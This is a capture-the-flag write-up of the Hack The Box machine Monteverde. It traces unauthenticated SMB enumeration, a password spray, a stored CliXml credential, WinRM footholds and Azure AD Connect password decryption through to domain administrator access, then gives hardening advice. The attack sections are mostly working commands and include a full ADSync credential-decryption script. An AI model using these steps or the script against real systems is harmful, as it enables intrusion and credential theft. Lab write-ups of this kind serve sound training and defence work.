Monteverde — Azure AD Sync Credential Extraction
- Tools
- rustscan, netexec, evil-winrm, rusthound-ce, winpeas, sqlcmd, powershell
- Skill demonstrated
- Active Directory enumeration and Azure AD Connect credential recovery
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Windows Server 2019 Active Directory domain controller |
| Starting position | Unauthenticated network access |
| Objective | Reach domain administrator access from an unauthenticated position |
| Outcome | Domain administrator WinRM access via credentials decrypted from the ADSync database |
Summary
Section titled “Summary”Monteverde is a Medium-rated Hack The Box Windows machine whose domain controller accepts guest SMB sessions. Null-session SMB enumeration lists the domain accounts, and spraying each username as its own password recovers a service-account credential. That account can read the users$ share, where a PowerShell CliXml file stores a domain user’s password; the credential is validated over SMB and then opens a WinRM foothold. From that shell, Microsoft Azure AD Sync is found installed on the controller, and the local ADSync SQL database together with the Azure AD Connect cryptography library yields the stored connector-account password — the built-in domain Administrator in this deployment — confirmed by a privileged WinRM session.
Target addresses, hostnames, and credential values are replaced with role-based placeholders, and command syntax is preserved. Where a step is described narratively without a captured console excerpt, it is summarized rather than quoted.
Attack path: Guest SMB null session → domain user enumeration → password spray → users$ share → CliXml credential for a domain user → WinRM foothold → ADSync database query → Azure AD Connect credential decryption → domain administrator WinRM access
Context and Objective
Section titled “Context and Objective”- Target: an Active Directory domain controller,
<TARGET_HOSTNAME>.<TARGET_DOMAIN>, hosting DNS, Kerberos, LDAP, SMB, and WinRM. - Starting position: unauthenticated network access, with no provided credentials.
- Objective: move from unauthenticated access to domain administrator control, and demonstrate how common Active Directory misconfigurations compose into a full compromise.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Port Scanning
Section titled “1. Port Scanning”Observation: a fast TCP scan of the target exposes the service set of an Active Directory domain controller.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sVTruncated scan output:
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.05985/tcp open http Microsoft HTTPAPI httpd 2.0Significance: the combination of DNS, Kerberos, LDAP, SMB, and WinRM identifies a Windows domain controller, so directory authentication and remote management are the primary attack surface.
Result: the target is confirmed as an Active Directory domain controller for <TARGET_DOMAIN>.
2. Guest SMB Null Authentication
Section titled “2. Guest SMB Null Authentication”Observation: the SMB service accepts a null session, confirming guest access is permitted on the domain controller.
nxc smb <TARGET_IP> -u 'a' -p '' --sharesSMB <TARGET_IP> 445 <TARGET_HOSTNAME> [*] Windows 10 / Server 2019 Build 17763 x64 (name:<TARGET_HOSTNAME>) (domain:<TARGET_DOMAIN>) (signing:True) (SMBv1:None) (Null Auth:True)Significance: a null SMB session allows directory queries without any credentials, exposing account and share information.
Result: null SMB authentication is accepted, confirming guest-level directory access.
3. SMB User Enumeration via Null Session
Section titled “3. SMB User Enumeration via Null Session”Observation: the null session can query the directory and enumerate domain accounts.
nxc smb <TARGET_DOMAIN> -u '' -p '' --users<GUEST_ACCOUNT><SYNC_SERVICE_ACCOUNT><STANDARD_USER><SERVICE_ACCOUNT><SERVICE_ACCOUNT_2><SERVICE_ACCOUNT_3><SERVICE_ACCOUNT_4><STANDARD_USER_2><STANDARD_USER_3><STANDARD_USER_4>Significance: the list separates standard users from service accounts and includes the Azure AD Sync service account, giving a target set for credential spraying.
Result: the full domain user list is enumerated anonymously.
4. Password Spray
Section titled “4. Password Spray”Observation: service accounts are a common home for weak, predictable passwords.
nxc smb <TARGET_DOMAIN> -u user.txt -p user.txtSMB <TARGET_IP> 445 <TARGET_HOSTNAME> [+] <TARGET_DOMAIN>\<SERVICE_ACCOUNT>:<SERVICE_ACCOUNT_PASSWORD>Significance: the service account uses its username as its password, so the spray recovers a working credential from a single predictable guess per account.
Result: valid credentials for <SERVICE_ACCOUNT> are recovered.
5. SMB Share Enumeration
Section titled “5. SMB Share Enumeration”Observation: the recovered credential grants authenticated access to the available SMB shares.
nxc smb <TARGET_DOMAIN> -u '<SERVICE_ACCOUNT>' -p '<SERVICE_ACCOUNT_PASSWORD>' --sharesADMIN$ Remote Admin<AZURE_SHARE> READC$ Default shareE$ Default shareIPC$ READNETLOGON READSYSVOL READusers$ READThe spider_plus module then lists the readable share contents:
nxc smb <TARGET_DOMAIN> -u '<SERVICE_ACCOUNT>' -p '<SERVICE_ACCOUNT_PASSWORD>' -M spider_plus -o DOWNLOAD_FLAG=True{ "<AZURE_SHARE>": {}, "users$": { "<STANDARD_USER>/azure.xml": { "atime_epoch": "2020-01-03 14:41:18", "ctime_epoch": "2020-01-03 14:39:53", "mtime_epoch": "2020-01-03 15:59:24", "size": "1.18 KB" } }}Significance: the <AZURE_SHARE> share is empty, but users$ exposes a single Azure XML credential file under a user directory.
Result: the users$ share yields <STANDARD_USER>/azure.xml for offline analysis.
6. CliXml Credential Discovery
Section titled “6. CliXml Credential Discovery”Observation: azure.xml is a PowerShell CliXml serialized object, not standard XML, and carries a stored plaintext credential.
cat azure.xml<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T> <T>System.Object</T> </TN> <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString> <Props> <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT> <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT> <G N="KeyId">00000000-0000-0000-0000-000000000000</G> <S N="Password"><STANDARD_USER_PASSWORD></S> </Props> </Obj></Objs>The recovered password is tested against the enumerated accounts and authenticates as <STANDARD_USER>:
nxc smb <TARGET_DOMAIN> -u user.txt -p '<STANDARD_USER_PASSWORD>'SMB <TARGET_IP> 445 <TARGET_HOSTNAME> [+] <TARGET_DOMAIN>\<STANDARD_USER>:<STANDARD_USER_PASSWORD>Significance: the CliXml export stored a reusable account password in a share readable by a service account, and the validation confirms which account it belongs to.
Result: a credential pair for <STANDARD_USER> is recovered from the share and validated through SMB.
7. WinRM Access as a Domain User
Section titled “7. WinRM Access as a Domain User”Observation: the recovered account is permitted remote management over WinRM.
nxc winrm <TARGET_DOMAIN> -u '<STANDARD_USER>' -p '<STANDARD_USER_PASSWORD>'WINRM <TARGET_IP> 5985 <TARGET_HOSTNAME> [+] <TARGET_DOMAIN>\<STANDARD_USER>:<STANDARD_USER_PASSWORD> (Pwn3d!)An interactive session is then opened with the same credential:
evil-winrm -i <TARGET_IP> -u '<STANDARD_USER>' -p '<STANDARD_USER_PASSWORD>'Significance: WinRM administrative access over the network turns a recovered domain-user credential into command execution on the domain controller.
Result: an authenticated interactive shell is obtained as <TARGET_DOMAIN>\<STANDARD_USER>, the first foothold on the controller.
8. Post-Exploitation Enumeration — Azure AD Sync Discovery
Section titled “8. Post-Exploitation Enumeration — Azure AD Sync Discovery”Observation: with a domain-user shell, the directory is mapped and the host is searched for local privilege-escalation paths.
rusthound-ce --domain <TARGET_DOMAIN> -u <STANDARD_USER> -p '<STANDARD_USER_PASSWORD>' --zip -o <TARGET_DOMAIN>WinPEAS local enumeration then shows Microsoft Azure AD Sync is installed on the domain controller:
c:\program files\microsoft azure ad syncSignificance: Azure AD Sync stores the on-premises connector credentials with reversible encryption in a local SQL Server database, making the ADSync database a high-value escalation target for a local administrator able to read the ADSync database and load mcrypt.dll. In this deployment the stored connector account was the built-in domain Administrator; the AD DS Connector account normally holds delegated directory permissions, and current Entra Connect guidance prohibits using a Domain Administrator as the connector account.
Result: Azure AD Sync is identified on the controller, and its ADSync database becomes the focus of the privilege-escalation stage.
9. Azure AD Connect Credential Decryption
Section titled “9. Azure AD Connect Credential Decryption”Observation: the ADSync database holds the encryption metadata needed to decrypt the stored connector credential.
sqlcmd -S <TARGET_HOSTNAME> -Q "use ADsync; select instance_id,keyset_id,entropy from mms_server_configuration"The Get-ADConnectPassword function reads the encrypted configuration from the mms_management_agent table and decrypts it with the Azure AD Connect cryptography library (mcrypt.dll):
Function Get-ADConnectPassword{ $key_id = 1 $instance_id = [GUID]"<INSTANCE_GUID>" $entropy = [GUID]"<ENTROPY_GUID>" $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=<TARGET_HOSTNAME>;Database=ADSync;Trusted_Connection=true" $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted) $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}} Write-Host ("Domain: " + $domain.Domain) Write-Host ("Username: " + $username.Username) Write-Host ("Password: " + $password.Password)}Executing the function reveals the connector-account credentials:
Domain: <TARGET_DOMAIN>Username: <DOMAIN_ADMIN_ACCOUNT>Password: <DOMAIN_ADMIN_PASSWORD>Significance: in this deployment the connector account extracted from the ADSync configuration was the built-in domain Administrator; the AD DS Connector account normally holds delegated directory permissions, and current Entra Connect guidance prohibits using a Domain Administrator as the connector account. Its password is recoverable from local state by a local administrator able to read the ADSync database and load mcrypt.dll.
Result: a domain administrator credential pair is decrypted from the ADSync configuration.
10. Administrator Access via WinRM
Section titled “10. Administrator Access via WinRM”Observation: the recovered domain administrator credential fits the exposed WinRM service.
evil-winrm -i <TARGET_IP> -u <DOMAIN_ADMIN_ACCOUNT> -p '<DOMAIN_ADMIN_PASSWORD>'<TARGET_DOMAIN>\<DOMAIN_ADMIN_ACCOUNT>Significance: authenticated WinRM execution as the connector account completes the privilege transition from domain user to domain administrator.
Result: a privileged session is established as <TARGET_DOMAIN>\<DOMAIN_ADMIN_ACCOUNT> on the domain controller.
Challenges and Decisions
Section titled “Challenges and Decisions”No failed attempts, trade-offs, or troubleshooting steps are recorded for this path; each stage transitioned directly into the next.
Outcome
Section titled “Outcome”The evidence establishes domain administrator access on the domain controller: a privileged WinRM session authenticates as <TARGET_DOMAIN>\<DOMAIN_ADMIN_ACCOUNT> after credentials are decrypted from the local ADSync database. The escalation depends on the Azure AD Sync installation and its locally stored encryption keys on that host; no other systems were in scope, and activity remained within the Hack The Box lab.
Lessons and Recommendations
Section titled “Lessons and Recommendations”The actions below are recommendations; none was tested in the lab.
Each finding pairs the observed root cause with its demonstrated impact and a prioritized action.
- Null SMB sessions on the domain controller. Anonymous SMB sessions allowed unauthenticated account and share enumeration. Recommendation: disable null/guest SMB access on domain controllers and restrict anonymous access to named pipes and shares. Detection: alert on null-session SMB authentication and anonymous share or directory queries. Validation: periodically re-test anonymous SMB enumeration against domain controllers.
- Username-derived service-account password. A service account used its username as its password, so a single spray pass compromised it. Recommendation: enforce password complexity and block username-derived passwords for service accounts. Detection: monitor for one-password/many-account spray patterns and for accounts matching the username-as-password shape. Validation: audit service-account password policy and confirm spraying fails against the enumerated list.
- Serialized credentials on a network share. An Azure PowerShell credential object was exported in CliXml and stored on the
users$share, readable by a service account. Recommendation: never store serialized credential objects on shares; use managed service accounts or a dedicated secret store, and keep secrets out of reachable file shares. Detection: scan shares and backups for CliXml and other credential artifacts. Validation: confirm no credential files remain in readable shares after remediation. - Reversible Azure AD Connect credential storage. The ADSync database stored the on-premises connector-account password under reversible encryption, decryptable with the local
mcrypt.dll. Recommendation: restrict access to the ADSync database and key material, prefer group Managed Service Accounts for the sync service where supported, and rotate connector credentials regularly. Detection: monitor access to the ADSync database andmcrypt.dllby non-administrative users. Validation: confirm the connector account is not a standing domain administrator and that its credential can be rotated without service disruption.
References
Section titled “References”- Hack The Box — Monteverde (retired Windows machine)
- RustScan (fast port scanner)
- NetExec (SMB and WinRM enumeration, credential spraying, and share listing)
- Evil-WinRM (WinRM interactive shell)
- RustHound-CE (BloodHound-compatible Active Directory collector)
- BloodHound (Active Directory attack-path analysis)
- PEASS-ng (WinPEAS) (local privilege-escalation enumeration)
- sqlcmd utility — Microsoft Learn (querying the ADSync SQL database)
- Microsoft Entra Connect: Accounts and permissions — Microsoft Learn (AD DS connector and ADSync service accounts)
- Microsoft Entra Connect Sync: Understanding the architecture — Microsoft Learn (sync service, connector accounts, and the ADSync database)
- Enable insecure guest logons in SMB2 and SMB3 — Microsoft Learn (guest SMB access)
- Network access: Restrict anonymous access to Named Pipes and Shares — Microsoft Learn (null-session hardening)
- Password must meet complexity requirements — Microsoft Learn (password policy)